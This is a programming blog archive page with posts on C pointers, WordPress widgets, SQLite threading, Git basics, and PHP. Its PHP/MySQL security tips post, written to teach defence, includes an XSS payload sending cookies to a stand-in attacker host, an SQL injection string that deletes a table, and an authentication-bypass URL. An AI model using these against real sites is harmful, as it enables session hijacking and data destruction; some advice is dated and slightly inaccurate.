You Are Here Home > Programming

Programming

Understanding Pointers In C – C Pointers Tutorial

We need to cover some ground so be patient and you will learn all about pointers.

A computer stores variables in it’s memory and the memory is basically a series of zeros and ones.

So if you could see the raw contents of your RAM you would see something similar to this:

010010010111111101010010101001010100101111001010100111001

Although your memory will have much more number of zeros and ones but it’s basically laid out like this.

In C when you say:

int x = 5;

This line basically telling the compiler to store 5 in variable x that is of type int.

The int datatype is 2 or 4 bytes depending on the implementation – and on my computer it’s 4

bytes but I assume 2 bytes here – so the compiler allocates 2 bytes of memory to store the number 5.

It will convert it to binary for you and 5 is 101 in binary but your compiler will store this in 2 bites so it will look like this:

0000000000000101

Note that it’s just padded with zeros so it can fit in a 2 byte space.

Depending on your operating system this could look like this:

1010000000000000

The first one looks more intuitive and mathematically correct so we use the first type in our examples. It is also called big endian architecture.

So if you were to map the memory, it would look something like this:

0100100101111111010100100000000000001010101001010100101111001010100111001

Can you see our number in there? How about now:

01001001011111110101001|0000000000000101|0101001010100101111001010100111001

Let’s define a pointer and set it to point to our number in memory:

int x = 5;
int *y = &x;

The second line is telling the compiler that y is a pinter to int, pointer is the address of our

variable in memory so y is basically this:

01001001011111110101001->|0000000000000101|0101001010100101111001010100111001

The & operator behind x returns it’s position in memory, if you count it’s 23.

So if you print y it will print the address of the variable which in our simple example is 23 so:

printf("%d", y);

Would print 23, but the cool thing is that you can do this:

printf("%d", *y);

The * is derefrancing operator, what it does is simple asks the compiler to dereference y and find the variable it’s pointing to and print that, so the program won’t print the number 23 anymore, instead it goes to the address 23 and grabs the value that is sitting there and prints that:

01001001011111110101001->|0000000000000101|0101001010100101111001010100111001

But you see, there are so many zeros and ones there, how does the compiler know how many of them

are actually part of our variable, because it picks only 5 of them:

01001001011111110101001->|00000|<-00000000101|0101001010100101111001010100111001

They will all be zeros and we know that this is wrong, our value was 5 not zero.

That’s why you defined a pointer to int, the compiler knows that it’s looking for an int so when you say *y – or derefrence y – the compiler goes to address 23 and grabs 2 bytes from there:

01001001011111110101001->|0000000000000101|<-0101001010100101111001010100111001

This is basically what a pointer is and one of the thing that can be done with a pointer is to modify the original variable without touching the original variable, so if you where to do this:

int x = 5;
int *y = &x;
*y = 20;

The compiler would look at y and go to address 23 and modify the contents in there to 20 rather than 5, so if you print x, you will get 20 rather than 5.

Pointers enable us to do some advanced stuff using C, that would be the subject of my next post.

Note: this tutorials are meant to be as simple as possible so a lot of details such as how pointers are stored are omitted to prevent confusion and will be discussed at some future point.

Understanding Pointers In C – C Pointers Tutorial
Comments (0)   Filed under: C Programming,Data Structures,Programming   Posted by: Codehead

How To Create WordPress Widgets

No need for a huge fancy post, here is a very simple WordPress widget:

You must paste this code into your theme’s functions.php file located at: /wp-content/themes/YOUR_THEME

class My_Simple_Widget {
 
   function control(){
      $data = get_option('My_Simple_Widget_data');
      ?>
         <p><label>Title:</label> <input name="My_Simple_Widget_title" type="text" value="<?php echo $data['title']; ?>" /></p>
         You can have whatever you want here, even a huge form with any kind of form field you want...
      <?php
      if (isset($_POST['My_Simple_Widget_title'])) {
			$data['title'] = attribute_escape($_POST['My_Simple_Widget_title']);
			update_option('My_Simple_Widget_data', $data);
      }
   }
 
   function widget($args) {
		$data = get_option('My_Simple_Widget_data');
		echo $args['before_widget'];
		echo $args['before_title'] .$data['title'] .$args['after_title'];
		echo 'Here you can have whatever you can imagine...';
		echo $args['after_widget'];
   }
 
}
 
wp_register_sidebar_widget('My_Simple_Widget_ID', 'My Simple Widget Title', array('My_Simple_Widget', 'widget'));
wp_register_widget_control('My_Simple_Widget_ID', 'My Simple Widget Title', array('My_Simple_Widget', 'control'));

This widget will show up in your dashboard under Appearance > Widgets and you can add it to your sidebar.

I hope this helps :)

How To Create WordPress Widgets
Comments (1)   Filed under: PHP,Programming,Web Design,Web Development,Wordpress   Posted by: Codehead

Python SQLite3 In Multiple Threads

If you create your database in a thread – usually the main thread – and try to use it in another thread your will get:

ProgrammingError: SQLite objects created in a thread can only be used in that
same thread.The object was created in thread id SOME_ID and this is thread
id SOME_ID

This is because you created the ‘cursor’ object in the main thread, if you for example create only the connection object in the main thread and create ‘cursor’s when you want to query the database, your problem will be solved.

Of course you must take care of the concurrency issues that you might have but other than that, you could do something like this:

import sqlite3
 
class datastore:
 
    def __init__(self):
        self.data_file = 'path_to_db_file'
 
    def connect(self):
        self.conn = sqlite3.connect(self.data_file)
        return self.conn.cursor()
 
    def disconnect(self):
        self.cursor.close()
 
    def free(self, cursor):
        cursor.close()
 
    def write(self, query, values = ''):
        cursor = self.connect()
        if values != '':
            cursor.execute(query, values)
        else:
            cursor.execute(query)
        self.conn.commit()
        return cursor
 
    def read(self, query, values = ''):
        cursor = self.connect()
        if values != '':
            cursor.execute(query, values)
        else:
            cursor.execute(query)
        return cursor

This will fix the issue, it creates cursors for each query and returns it to the caller, the only thing is that you must ‘close’ the cursor when you are done with it. Here I have a member function ‘free’. (probably because of my PHP brain damage)

I hope this helps…

Python SQLite3 In Multiple Threads
Comments (0)   Filed under: Programming,Python,SQLite   Posted by: Codehead

The Best Python Code Editor: Komodo Edit

I looked for a Python editor a lot, I found Pydev which is a plugin for Eclipse and since Eclipse sucks, it’s ugly and the code looks ugly too, it just kills my creativity, it’s also slow on top of that.

Then I found IronPython plugin for Microsoft Visual Studio, this one requires Visual Studio which is paid and it doesn’t make your life easier, for example if I have:

def some_func():
   pass

Now, after “pass” if I hit “Enter” I want to get back to the beginning of the next line but this wasn’t happening in IronPython. (+ a bunch of other things)

I guess I got spoiled because I use Dreamweaver to write PHP and it just does everything as you expect, it’s smooth and well thought out, much like other Macromedia products; take Fireworks for example, those who use Fireworks and Photoshop know the brilliance behind the design of Fireworks’s UI… Why didn’t Macromedia buy Adobe?!

Anyway, if you are like me and feel the same way, try Komodo Edit. I have nothing to do with it or ActiveState but I have to say that this editor made my life so much easier and I’m not looking back. It also has support for a bunch of other languages like PHP etc.

EDIT: So after using this great text editor for a little while, I decided to write a quick list of pros and cons:

Pros:
1 – It’s free.
2 – It’s open-source.
3 – It’s nice looking. (I care about this, I’m convinced that it effects creativity…)
4 – It’s smooth and fast.
5 – It does what you expect it to do; very intuitive.
6 – It’s written by people who love writing code.
7 – It’s cross-platform.
8 – It supports: PHP, Python, Ruby, Perl and Tcl, plus JavaScript, CSS, HTML and template languages like RHTML, Template-Toolkit, HTML-Smarty and Django.
9 – It supports code completion.
10 – It has great help and docs.

Cons:
None.

Happy Coding…

The Best Python Code Editor: Komodo Edit
Comments (5)   Filed under: Annoying Stuff,IDEs,PHP,Programming,Python,Web Development   Posted by: Codehead

Beginning Source Code Management With GIT Tutorial Part 1

If you are not using anything like GIT and you just use simple folders for development then I’m sure you have had situations where you needed to make some changes but broke the whole thing.

Or consider the situation where you had a huge idea and it required rewrite of a lot of things OR some dramatic changes to your source code files so you went half way through and (unless you had a copy of the whole code) you didn’t have a way to go back anymore.

Or when you wanted to backup your codebase, did you have to zip it and copy it to some external hard disk or server? That’s a pain.

Or when you wanted to develop something with your friend and you know what kind of a mess that is, right?

If these sound familiar then GIT is designed just to help you do these tasks faster, nicer and more reliable. It will also take care of a lot of things for you.

First let’s install git, on Windows (which is my platform for now) you will need to install this:
http://code.google.com/p/msysgit/
NOTE: you will have some options during installation, choose these options: 1 – GIT should use the regular Windows Command line 2 – GIT should add itself to Windows path 3 – GIT should NOT change the line endings. You will see these options during installation…

On MAC try:
http://help.github.com/mac-git-installation/

On Linux try: (note: you might already have it, got to Terminal and type “git” and hit “Enter”)
yum install git-core

After you installed GIT open your Terminal or Command Line for Windows and type these commands:

> git config --global user.name "YOUR NAME"
> git config --global user.email "YOUR EMAIL"

For Windows:

> git config –global core.editor “notepad.exe”

It’s obvioud what these do so now let’s try GIT, make a folder somewhere and paste one of your projects in there let’s assume that the folder is at C:\git_test\ then do:

> cd C:\git_test

On Linux or Mac this would look like this:

> cd /git_test

Now let’s initialize our GIT repository:

> git init

After this command, GIT will create a .git folder inside git_test folder, the cool thing is that GIT won’t modify anything, GIT won’t keep the files in some other location, it just tracks the files inside your folder as you edit them normally, in other words, GIT won’t get in your way at all!

Then try:

> git status

This will show you all the files in this folder but it will also tell you that these files are not tracked by GIT yet so to let GIT track them try:

> git add .

You could add single files like:

> git add index.html

But the “.” will add everything so that’s what I always do.

Now we need to commit everything for the first time, so try:

> git commit -a -m "Initial commit"

So now go ahead and edit one of the files and change it a bit then go back to your command line and type:

> git status

As you can see GIT knows what file you edited, it doesn’t end there try:

> git diff

It even knows what you did exactly, so now you can commit the new changes:

> git commit -a -m "Test edit"

Note that you are entering a message with each commit, it’s best if you explain in a short sentence what you did…

You can see a history of your commits with:

> git log

You may notice that with each record there is a sha1 hash string, that is the hash of the content and it is useful for a bunch of things you can do with GIT.

Assume that the last edit you just did, broke something and you want to go back to the previous stable state, to do this you must know the sha1 hash of the commit that you want to revert to, for this example let’s revert to “Initial commit” state (our first commit), to do this type:

> git log

Then copy the sha1 hash that is associated to the “Initial commit” commit and type:

> git revert PASTE_THE_SHA1_HASH_HERE

Now go back and look for your changes, they are not there anymore!

Also you must be careful, GIT never asks questions like “are you sure you want to revert?” etc. it just does it so pay extra attention when doing things like this…

Now let me show you one last thing in this tutorial and that is the concept of branches, type:

> git branch

This will show you something like:

*master

The branch master was created automatically when you created this repo and the * means that this branch is active.

Let’s say that you have a crazy idea and that requires changing the code quite a bit but you don’t want to mess around with the code that is already stable and working, this is were branching comes into play and GIT does it better than any other system, it does it in a very simple and fast way.

Let’s create a branch and call it experiment:

> git branch experiment

This single line just created an entirely identical copy of the whole code – folders and files – in GIT’s database for you, that was fast right?

Now let’s switch to this new branch:

> git checkout experiment

If you try:

> git branch

You will see something like:

*experiment
master

Confirming that you are now in the branch “experiment”.

So the cool part is this, try editing some of the files, maybe even remove some files and add some other files to the folder git_test to test how all of this works then try:

> git add .

This will add any new files you just pasted in your git_test folder for tracking and finally try:

> git commit -a -m "Committing in experiment to test branches"

Here is the magic, try:

> git checkout master

Go back to see your new edits and check for the files you removed or added; all the changes are gone! Your folder is now in it’s initial/stable state!

To remove a branch try:

> git branch -d "experiment"

Again remember, GIT won’t ask you “are you sure?” or questions like that so be careful when removing stuff…

I should also mention that GIT was written by Linus Torvalds who also made Linux Kernel…

That’s it for now, I will write more about this great tool soon and I hope this helps someone.

Beginning Source Code Management With GIT Tutorial Part 1
Comments (3)   Filed under: General,GIT,Programming   Posted by: Codehead

jQuery UI Dialog And The Enter – Return Key Problem

This is another post for my ‘Annoying Stuff’ collection and this one is very, so very annoying…

The problem is that jQuery UI, supports forms in dialogs but the problem is that a user can’t hit ‘Enter’ to submit the form, it will break everything, a user has to actually hit the ‘Submit’ (or whatever) button manually. This make the whole thing completely useless unless you make some changes that are basically tweaking the internals of jQuery UI, which is ugly and can break if they change things around but sadly this is the only solution for now.

Assuming that you use the same syntax jQuery UI suggests to create your form, the fix is something like this:

$('.dialog').find('input').keypress(function(e) {
	if ((e.which && e.which == 13) || (e.keyCode && e.keyCode == 13)) {
		$(this).parent().parent().parent().parent().find('.ui-dialog-buttonpane').find('button:first').click(); /* Assuming the first one is the action button */
		return false;
	}
});

You might have to modify it a tiny bit, if that’s the case, you most likely have to change the part $(‘.dialog’) so that it selects the right container that wraps the form…

jQuery UI Dialog And The Enter – Return Key Problem

Script For Counting Number Of Lines Of Code In Your Website; Composite Design Pattern

This is another thread from our forums which we are closing down soon.

This script will count the number of lines in all of your source files recursively. Just place it in any folder and point your browser to it and it will count all the lines including sub directories.

It might run out of memory if your application is huge and your PHP memory limit is low. For me, it counted 97,000 lines in our last project with no problems.

You also have an option to exclude file extensions and directories.

The other thing about this script is that it is a great little example of composite design pattern in action; every directory is an object that will count all the lines (in the files) in it and asks it’s sub directories to do the same, then the sub directories also repeat the same process.

<?php
 
	/**
	 * Counts the lines of code in this folder and all sub folders
	 * You may not sell this script or remove these header comments
	 * @author Hamid Alipour, http://blog.code-head.com/
	**/
 
	define('SHOW_DETAILS', true);
 
	class Folder {
 
		var $name;
		var $path;
		var $folders;
		var $files;
		var $exclude_extensions;
		var $exclude_files;
		var $exclude_folders;
 
 
		function Folder($path) {
			$this -> path 		= $path;
			$this -> name		= array_pop( array_filter( explode(DIRECTORY_SEPARATOR, $path) ) );
			$this -> folders 	= array();
			$this -> files		= array();
			$this -> exclude_extensions = array('gif', 'jpg', 'jpeg', 'png', 'tft', 'bmp', 'rest-of-the-file-extensions-to-exclude');
			$this -> exclude_files 	    = array('count_lines.php', 'rest-of-the-files-to-exclude');
			$this -> exclude_folders 	 = array('_private', '_vti_bin', '_vti_cnf', '_vti_log', '_vti_pvt', '_vti_txt', 'rest-of-the-folders-to-exclude');
		}
 
		function count_lines() {
			if( defined('SHOW_DETAILS') ) echo "/Folder: {$this -> path}...\n";
			$total_lines = 0;
			$this -> get_contents();
			foreach($this -> files as $file) {
				if( in_array($file -> ext, $this -> exclude_extensions) || in_array($file -> name, $this -> exclude_files) ) {
					if( defined('SHOW_DETAILS') ) echo "#---Skipping File: {$file -> name};\n";
					continue;
				}
				$total_lines += $file -> get_num_lines();
			}
			foreach($this -> folders as $folder) {
				if( in_array($folder -> name, $this -> exclude_folders) ) {
					if( defined('SHOW_DETAILS') ) echo "#Skipping Folder: {$folder -> name};\n";
					continue;
				}
				$total_lines += $folder -> count_lines();
			}
			if( defined('SHOW_DETAILS') ) echo "\n Total lines in {$this -> name}: $total_lines;\n\n";
			return $total_lines;
		}
 
		function get_contents() {
			$contents = $this -> _get_contents();
			foreach($contents as $key => $value) {
				if( $value['type'] == 'Folder' ) {
					$this -> folders[] = new Folder($value['item']);
				} else {
					$this -> files[]   = new File  ($value['item']);
				}
			}
		}
 
		function _get_contents() {
			$folder = $this -> path;
			if( !is_dir($folder) ) {
				return array();
			}
			$return_array = array();
			$count		  = 0;
			if( $dh = opendir($folder) ) {
				while( ($file = readdir($dh)) !== false ) {
					if( $file == '.' || $file == '..' ) continue;
					$return_array[$count]['item']	= $folder .$file .(is_dir($folder .$file) ? DIRECTORY_SEPARATOR : '');
					$return_array[$count]['type']	= is_dir($folder .$file) ? 'Folder' : 'File';
					$count++;
				}
				closedir($dh);
			}
			return $return_array;
		}
 
	} // Class
 
	class File {
 
		var $name;
		var $path;
		var $ext;
 
 
		function File($path) {
			$this -> path = $path;
			$this -> name = basename($path);
			$this -> ext  = array_pop( explode('.', $this -> name) );
		}
 
		function get_num_lines() {
			$count_lines = count(file($this -> path));
			if( defined('SHOW_DETAILS') ) echo "|---File: {$this -> name}, lines: $count_lines;\n";
			return $count_lines;
		}
 
	} // Class
 
	$path_to_here = dirname(__FILE__) .DIRECTORY_SEPARATOR;
	$folder 		  = new Folder($path_to_here);
	echo 'Total lines of code: ' .$folder -> count_lines() ."\n\n";
 
?>
Script For Counting Number Of Lines Of Code In Your Website; Composite Design Pattern
Comments (12)   Filed under: Design Patterns,Fun,PHP,Programming,Web Development   Posted by: Codehead

PHP MySQL Web Development Security Tips – 14 tips you should know when developing with PHP and MySQL

We are closing down our forums, it’s time to move on, but we are keeping some important threads, here is one…

PHP MySQL Web Development Security Tips – 14 tips you should know when developing with PHP and MySQL

I read about many of these points in books and tutorials but I was rather lazy to think about many of them initially learned some of these lessons the hard way. Fortunately I didn’t lose any major data over security issues with PHP MySQL, but my suggestion to everyone who is new to PHP is to read these tips and apply them *before* you end up with a big mess.

1. Do not trust user input
If you are expecting an integer call intval() (or use cast) or if you don’t expect a username to have a dash (-) in it, check it with strstr() and prompt the user that this username is not valid.

Here is an example:

$post_id = intval($_GET['post_id']);
mysql_query("SELECT * FROM post WHERE id = $post_id");

Now $post_id will be an integer for sure :)

2. Validate user input on the server side
If you are validating user input with JavaScript, be sure to do it on the server side too, because for bypassing your JavaScript validation a user just needs to turn their JavaScript off.
JavaScript validation is only good to reduce the server load.

3. Do not use user input directly in your SQL queries
Use mysql_real_escape_string() to escape the user input.
PHP.net recommends this function: (well a little different)

  function escape($values) {
   if(is_array($values)) {
    $values = array_map('escape', $values);
   } else {
    /* Quote if not integer */
    if ( !is_numeric($values) || $values{0} == '0' ) {
     $values = "'" .mysql_real_escape_string($values) . "'";
    }
   }
   return $values;
  }

Then you can use it like this:

$username = escape($_POST['username']);
mysql_query("SELECT * FROM user WHERE username = $username"); /* escape() will also adds quotes to strings automatically */

4. In your SQL queries don’t put integers in quotes
For example $id is suppose to be an integer:

$id = "0; DELETE FROM users";
$id = mysql_real_escape_string($id); // 0; DELETE FROM users -  mysql_real_escape_string doesn't escape ;
mysql_query("SELECT * FROM users WHERE id='$id'");

Note that, using intval() would fix the problem here.

5. Always escape the output
This will prevent XSS (Cross Site Scripting) attacks, imagine you receive and save some data from a user and you want to display this data on a web page later (maybe his/her bio or username) and the user puts this bit of code in the input field along with his bio:

<script>alert('');</script>

If you display the raw user input on a web page this will be very ugly, it can even be worse if a user inputs this code instead:

<script>document.location.replace('http://attacker/?c='+document.cookie);</script>

With this, an attacker can steal cookies from whoever visits that certain page (containing bio etc.) and this includes session cookies with session IDs in them so the attacker can hijack your users’ sessions and appear to be logged in as other users.

When displaying user input on a page use htmlentities($user_bio, ENT_QUOTES, ‘UTF-8′);

6. When uploading files, validate the file mime type
If you are expecting images, make sure the file you are receiving is an image or it might be a PHP script that can run on your server and does whatever damage you can imagine.

One quick way is to check the file extension:

$valid_extensions = array('jpg', 'gif', 'png'); // ...
 
$file_name  = basename($_FILES['userfile']['name']);
$_file_name = explode('.', $file_name);
$ext        = $_file_name[ count($_file_name) - 1 ];
 
if( !in_array($ext, $valid_extensions) ) {
 /* This file is invalid */
}

Note that validating extension is a very simple way, and not the best way, to validate file uploads but it’s effective;
simply because unless you have set your server to interpret .jpg files as PHP scripts then you are fine.

7. If you are using 3rd party code libraries, be sure to keep them up to date
If you are using code libraries like Smarty or ADODB etc. be sure to always download the latest version.

8. Give your database users just enough permissions
If a database user is never going to drop tables, then when creating that user don’t give it drop table permissions, normally just SELECT, UPDATE, DELETE, INSERT should be enough.

9. Do not allow hosts other than localhost to connect to your database
If you need to, add only that particular host or IP as necessary but never, ever let everyone connect to your database server.

10. Your library file extensions should be PHP
.inc files will be written to the browser just like text files (unless your server is setup to interpret them as PHP scripts), users will be able to see your messy code (kidding:)) and possibly find exploits or see your passwords etc.
Have extensions like config.inc.php or have a .htaccess file in your extension (templates, libs etc.) folders with this one line:

deny from all

11. Have register globals off or define your variables first
Register globals can be very dangerous, consider this bit of code:

if( user_logged_in() ) {
 $auth = true;
}
 
if( $auth ) {
 /* Do some admin stuff */
}

Now with register globals on an attacker can view this page like this and bypass your authentication:
[url]http://yourwebsite.com/admin.php?auth=1[/url]

If you have registered globals on and you can’t turn it off for some reason you can fix these issues by defining your variables first:

$auth = false;
if( user_logged_in() ) {
 $auth = true;
}
 
if( $auth ) {
 /* Do some admin stuff */
}

Defining your variables first is a good programming practice that I suggest you follow anyway.

12. Keep PHP itself up to date
Just take a look at [url]www.php.net[/url] and see release announcements and note how many security issues they fix on every release to understand why this is important.

13. Read security books
Always find new books about PHP security to read; you can start by reading the 4th book in the Learning PHP Post, which is one of the best books on PHP security and the author is a member of the PHP team so he knows the internals very well.

14. Contribute to this list :)
Feel free to reply to this thread and add to this list, it will be helpful for everyone!

Thanks!
-Codehead

PHP MySQL Web Development Security Tips – 14 tips you should know when developing with PHP and MySQL
Comments (12)   Filed under: PHP,Programming,Web Development   Posted by: Codehead

Learning PHP – best PHP books

We are closing down our forums, it’s time to move on, but we are keeping some important threads, here is one…

Learning PHP – best PHP books

PHP and MySQL Web Development (4th Edition) (Developer’s Library) (Hardcover)
by, Luke Welling and Laura Thomson

This book is one of the best books on PHP and MySQL. It starts with introductions to PHP and MySQL and then shows you how to write common applications from scratch using these technologies. You will learn how to write a shopping cart, a content management system (CMS), a web based email service, a mailing list manager, a forum application, and more.
Some other useful topics covered in this book are:
How to run an E-Commerce site, Session management, user login and registration, generating images and PDF documents on the fly with PHP, using network protocols with PHP, Object Oriented Programming (OOP), regular expressions, etc.
_________________________________________________

Advanced PHP Programming
by, George Schlossnagle

This book will teach you advanced techniques required to make a large scale web application (web site), there are many advanced topics covered in this book such as:
Various caching techniques using PHP, unit testing, good API design, interacting with remote services, Object Oriented Programming (OOP) through design patterns, Session handling, and more.
_________________________________________________

PHP|Architect’s Guide to PHP Design Patterns
by, Jason E. Sweat

This book covers many of the Design Patterns that are common in developing websites and is one of the first PHP Design Patterns books. Code samples are in PHP4 and PHP5.
The book covers 16 different design patterns including:
The ValueObject Pattern, The Factory Pattern, The Singleton Pattern, The Registry Pattern, The MockObject Pattern, The Strategy Pattern, The Model-View-Controller Pattern, and many more.
_________________________________________________

PHP|Architect’s Guide to PHP Security
by, Ilia Alshanetsky

This book will teach you how to make secure and reliable web applications, the author is one of the contributors to PHP programming language core.
Topics covered are: Input validation, Cross-Site Scripting (XSS) attacks prevention, Command Injection attacks prevention, SQL Injection attacks prevention, Code injection attacks prevention, and more.
This is a MUST read book for PHP developers.
_________________________________________________

Mastering Regular Expressions (3rd Edition)
by, Jeffrey E F Friedl

This book is the best book on Regular Expressions. If you’re having trouble learning Regular Expressions,this book will help you grasp the concept and master them.
Plus, the 3rd edition has an entire chapter dedicated to PHP.

Learning PHP – best PHP books
Comments (0)   Filed under: PHP,Programming,Web Development   Posted by: Codehead

PHP; Advancing Array Pointer In a Foreach Loop

This is not possible because ‘foreach’ operates on a copy of the array so there is no way to do it, don’t waste your time :)

BUT

You can work around this by replacing the ‘foreach’ with a ‘while’ loop, but before you do so, you must know that the following loops are functionally identical:

foreach ($days as $day) {
   echo $day;
}
 
while (list(, $day) = each($days)) {
   echo $day;
}

The same is true for these two, they are functionally identical:

foreach ($days as $i => $day) {
   echo $i .': ' .$day;
}
 
while (list($i, $day) = each($days)) {
   echo $i .': ' .$day;
}

‘While’ used this way with ‘each’ doesn’t operate on a copy of the array so you can do something like this, replace your ‘foreach’ with a ‘while’ loop and:

while (list(, $token) = each($tokens)) {
   /* Skip white spaces */
   if ($token == ' ') {
      while ($token == ' ') $token = next($tokens);
   }
}

I hope this makes sense :)

PHP; Advancing Array Pointer In a Foreach Loop
Comments (1)   Filed under: PHP,Programming,Web Development   Posted by: Codehead
Older Posts »